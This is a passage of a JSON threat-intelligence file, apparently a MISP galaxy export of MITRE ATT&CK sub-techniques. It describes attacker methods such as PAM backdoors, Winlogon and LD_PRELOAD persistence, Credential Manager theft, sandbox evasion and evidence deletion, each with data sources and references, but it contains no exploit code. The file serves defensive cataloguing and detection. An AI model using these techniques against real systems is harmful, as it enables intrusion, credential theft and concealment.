"https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/",
"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes",
"https://www.joesecurity.org/blog/3660886847485093803",
"https://www.joesecurity.org/blog/498839998833561473",
"https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique"
]
},
"related": [
{
"dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
"type": "subtechnique-of"
}
],
"uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
"value": "Time Based Evasion - T1497.003"
},
{
"description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)",
"meta": {
"external_id": "T1499.003",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1499/003",
"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
]
},
"related": [
{
"dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4",
"type": "subtechnique-of"
}
],
"uuid": "18cffc21-3260-437e-80e4-4ab8bf2ba5e9",
"value": "Application Exhaustion Flood - T1499.003"
},
{
"description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
"meta": {
"external_id": "T1556.003",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Modification",
"Logon Session: Logon Session Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules",
"https://attack.mitre.org/techniques/T1556/003",
"https://github.com/zephrax/linux-pam-backdoor",
"https://linux.die.net/man/8/pam_unix",
"https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt",
"https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
]
},
"related": [
{
"dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
"type": "subtechnique-of"
}
],
"uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771",
"value": "Pluggable Authentication Modules - T1556.003"
},
{
"description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1565.003",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Deletion",
"File: File Metadata",
"File: File Modification",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1565/003",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
"type": "subtechnique-of"
}
],
"uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
"value": "Runtime Data Manipulation - T1565.003"
},
{
"description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
"meta": {
"external_id": "CAPEC-163",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1566/003",
"https://capec.mitre.org/data/definitions/163.html"
]
},
"related": [
{
"dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
"type": "subtechnique-of"
}
],
"uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
"value": "Spearphishing via Service - T1566.003"
},
{
"description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",
"meta": {
"external_id": "T1578.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Instance: Instance Deletion"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1578/003",
"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/",
"https://cloud.google.com/logging/docs/audit#admin-activity",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020",
"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
]
},
"related": [
{
"dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90",
"type": "subtechnique-of"
}
],
"uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4",
"value": "Delete Cloud Instance - T1578.003"
},
{
"description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
"meta": {
"external_id": "T1588.003",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Malware Repository: Malware Metadata"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/003",
"https://en.wikipedia.org/wiki/Code_signing"
]
},
"related": [
{
"dest-uuid": "ce0687a0-e692-4b77-964a-0784a8e54ff1",
"type": "subtechnique-of"
}
],
"uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15",
"value": "Code Signing Certificates - T1588.003"
},
{
"description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
"meta": {
"external_id": "T1564.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
"http://msdn.microsoft.com/en-us/library/aa364404",
"https://attack.mitre.org/techniques/T1564/004",
"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
"https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
"https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
"value": "NTFS File Attributes - T1564.004"
},
{
"description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
"meta": {
"external_id": "CAPEC-579",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/004",
"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
"https://capec.mitre.org/data/definitions/579.html",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "6836813e-8ec8-4375-b459-abb388cb1a35",
"value": "Winlogon Helper DLL - T1547.004"
},
{
"description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
"meta": {
"external_id": "T1555.004",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1555/004",
"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN",
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store",
"https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea",
"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials",
"https://www.passcape.com/windows_password_recovery_vault_explorer"
]
},
"related": [
{
"dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"type": "subtechnique-of"
}
],
"uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
"value": "Windows Credential Manager - T1555.004"
},
{
"description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)",
"meta": {
"external_id": "T1556.004",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1556/004",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
"https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html"
]
},
"related": [
{
"dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
"type": "subtechnique-of"
}
],
"uuid": "fa44a152-ac48-441e-a524-dd7b04b8adcd",
"value": "Network Device Authentication - T1556.004"
},
{
"description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
"meta": {
"external_id": "T1564.005",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification",
"Firmware: Firmware Modification",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/005",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf",
"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
"https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html",
"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04",
"value": "Hidden File System - T1564.005"
},
{
"description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
"meta": {
"external_id": "T1547.005",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://attack.mitre.org/techniques/T1547/005",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "5095a853-299c-4876-abd7-ac0050fb5462",
"value": "Security Support Provider - T1547.005"
},
{
"description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)",
"meta": {
"external_id": "T1564.006",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Process: Process Creation",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/006",
"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/",
"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
"https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
"value": "Run Virtual Instance - T1564.006"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
"meta": {
"external_id": "T1546.007",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/007",
"https://github.com/outflankbv/NetshHelperBeacon",
"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
"https://technet.microsoft.com/library/bb490939.aspx"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
"value": "Netsh Helper DLL - T1546.007"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ",
"meta": {
"external_id": "CAPEC-640",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"http://hick.org/code/skape/papers/needle.txt",
"http://phrack.org/issues/51/8.html",
"http://www.nth-dimension.org.uk/pub/BTL.pdf",
"https://attack.mitre.org/techniques/T1574/006",
"https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/",
"https://capec.mitre.org/data/definitions/13.html",
"https://capec.mitre.org/data/definitions/640.html",
"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html",
"https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191",
"https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/",
"https://www.baeldung.com/linux/ld_preload-trick-what-is",
"https://www.datawire.io/code-injection-on-linux-and-macos/",
"https://www.man7.org/linux/man-pages/man8/ld.so.8.html",
"https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825",
"value": "Dynamic Linker Hijacking - T1574.006"
},
{
"description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)",
"meta": {
"external_id": "T1564.008",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"File: File Modification"
],
"mitre_platforms": [
"Windows",
"Office 365",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1564/008",
"https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps",
"https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps",
"https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac",
"https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59",
"https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154",
"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
]
},
"related": [
{
"dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
"type": "subtechnique-of"
}
],
"uuid": "0cf55441-b176-4332-89e7-2c4c7799d0ff",
"value": "Email Hiding Rules - T1564.008"
},
{
"description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
"meta": {
"external_id": "T1578.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Instance: Instance Modification",
"Instance: Instance Start",
"Instance: Instance Stop"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1578/004",
"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
]
},
"related": [
{
"dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90",
"type": "subtechnique-of"
}
],
"uuid": "0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
"value": "Revert Cloud Instance - T1578.004"
},
{
